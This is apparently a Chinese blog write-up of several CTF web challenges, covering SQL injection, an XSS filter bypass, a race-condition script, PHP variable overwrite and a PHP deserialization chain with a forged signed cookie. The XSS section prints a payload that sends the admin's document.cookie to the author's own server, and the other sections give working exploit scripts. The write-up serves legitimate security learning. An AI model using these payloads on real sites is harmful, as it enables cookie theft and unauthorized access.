Web

200OK!!

sql注入

每次点击页面上的Reload,在network上可以发现在/server.php下的响应。
注入点在status处,过滤了空格,相关字符串换成大小写拼接即可。

Post to zuckonit

xss

页面里有一句:

Attention: you can freely post your thoughts to this page. But this online editor is vulnerable to attack, so you can write down XSS sentences and submit them to bot backend, and CAPTCHA is necessary.

在/flag路由下发现:Only admin can get the flag, your token shows that you're not admin!
看来是想让我们通过xss拿到cookie

尝试:<script>alert(1)</script> 发现被替换成了<div>···</div>
尝试<img src=x onerror="alert(1)"> 发现变成了 >")1(trela"=rorreon x=crs gmi<
这里看出on两旁的字母被交换位置,我们就反其道而行,直接构造被交换后的,再次交换也就完成了复原。

那么现在的问题是怎么把这个cookie给外带出来。
基于上次校赛的反序列化题,学到了利用dnslog反带信息,这题也是一样的思路。不过我用的是自己的服务器去查看外带信息。

payload:>")eikooc.tnemucod+'/pot.uyoeht//'(nepo.wodniw"=rorreno 'x'=crs gmi<on


再提交至后台,通过服务器日志即可查看到管理员cookie。
提交后台要交一个验证码

import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()

for i in range(1, 99999999):
    if ((md5(str(i).encode("utf-8")))[:6]=='176087'):
        print(i)

Liki的生日礼物

条件竞争

在shop.js在发现几个路由

function login() {
    $.post("/API/?m=login",
        {
            name: $("#name").val(),
            password: $("#password").val()
        },
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else if(message.status === "success"){
                location.href="shop.html"
            }
        }
    );
}

function buy() {
    $.post("/API/?m=buy",
        data = $("#buy").serialize()  ,
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else {
                alert("兑换成功");
                getinfo();
            }
        },
    );
}

function getinfo() {
    $.get("/API/?m=getinfo",
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                location.href = "index.html"
            }
            $("#money").text(message.data['money'])
            $("#num").text(message.data['num'])
        }
    );
}

这题需要我们通过2000元,换取40元一张的兑换卷52张,扫目录,抓包都没有什么信息,那基本上可以确定应该是条件竞争。

import threading
import time
import json
import requests
host="https://birthday.liki.link/API/"
user={
    "name": "theoyu3",
    "password": "theoyu3"    
}
s=requests.session()
s.post(url="{}?m=login".format(host),data=user)

def post():
    data={
        "amount":"1"
    }
    url="{}?m=buy".format(host)
    try:
        s.post(url=url,data=data)
    except:
        print("failed!")
    return
while True:
    info=json.loads(s.get("{}?m=getinfo".format(host)).text)
    money=info['data']['money']
    num=info['data']['num']
    print(money)
    print(num)
    if num>=52:
        print(s.get("{}?m=getFlag".format(host)).text)
        break
    for i in range(24):
        t=threading.Thread(target=post)
        t.start()

    time.sleep(3)


可以根据实际情况调整sleep的时间(不知道python有没有类似go的sync.WaitGroup)

LazyDogR4U

变量覆盖

源码在/www.zip下
flag下有获取flag的方法

<?php

    if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }

重点注意lazy.php

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}
// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
    require_once $class_name . ".php";
}
spl_autoload_register('auto');

这里有很明显的变量覆盖,只要把session双写即可。
payload:/flag.php?_SESSSESSIONION[username]=admin

Arknights

php反序列化

题目描述里可以看出应该存在git泄露,关键代码在simulator.php

simulator.php

<?php

class Simulator{

    public $session;
    public $cardsPool;

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

    public function draw($count){
        $result = array();

        for($i=0; $i<$count; $i++){
            $card = $this->cardsPool->draw();

            if($card["stars"] == 6){
                $this->session->set('', $card["No"]);
            }

            $result[] = $card;
        }

        $this->session->save();

        return $result;
    }

    public function getLegendary(){
        $six = array();

        $data = $this->session->getAll();
        foreach ($data as $item) {
            $six[] = $this->cardsPool->cards[6][$item];
        }

        return $six;
    }
}

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function draw()
    {
        $rand = mt_rand(1, 100);
        $level = 0;

        if ($rand >= 1 && $rand <= 42) {
            $level = 3;
        } elseif ($rand >= 43 && $rand <= 90) {
            $level = 4;
        } elseif ($rand >= 91 && $rand <= 99) {
            $level = 5;
        } elseif ($rand == 100) {
            $level = 6;
        }

        $rand_key = array_rand($this->cards[$level]);

        return array(
            "stars" => $level,
            "No" => $rand_key,
            "card" => $this->cards[$level][$rand_key]
        );
    }

    public function init()
    {
        $this->cards = include($this->file);
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}


class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

    public function set($key, $value){
        if(empty($key)){
            $this->sessionData[] = $value;
        }else{
            $this->sessionData[$key] = $value;
        }
    }

    public function getAll(){
        return $this->sessionData;
    }


    public function save(){

        $serialized = serialize($this->sessionData);
        $sign = base64_encode(md5($serialized . self::SECRET_KEY));
        $value = base64_encode($serialized) . "." . $sign;

        setcookie("session",$value);
    }


    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}


class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}
?>


我们审计一下代码,题目描述里有说flag位于flag.php中,那我们重点看看这个CardPool类

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}

这里的__construct可以构造我们需要的/flag.php,而后面的__toString可以打印内容,那么现在我们需要找到一个可以输出对象的地方。
在最后的Eeeeeeevallllllll类中,可以利好析构函数调用__toString,我们只要把上面的CardPool类为Eeeeeeevallllllll的msg即可。

<?php
class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
     echo $this->msg;   
    }
 }



class CardsPool
{
        private $file;
            public function __construct($file)
    {

            $this->file = $file;

    }
        public function __toString(){
        return file_get_contents($this->file);

}
}
$test=new Eeeeeeevallllllll();
$test->msg=new CardsPool("./flag.php");
$SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
$serialized=serialize($test);
$sign = base64_encode(md5($serialized . $SECRET_KEY));
 $value = base64_encode($serialized) . "." . $sign; 
 echo $value;

?>

Crypto

最后修改:2021 年 03 月 25 日 11 : 46 PM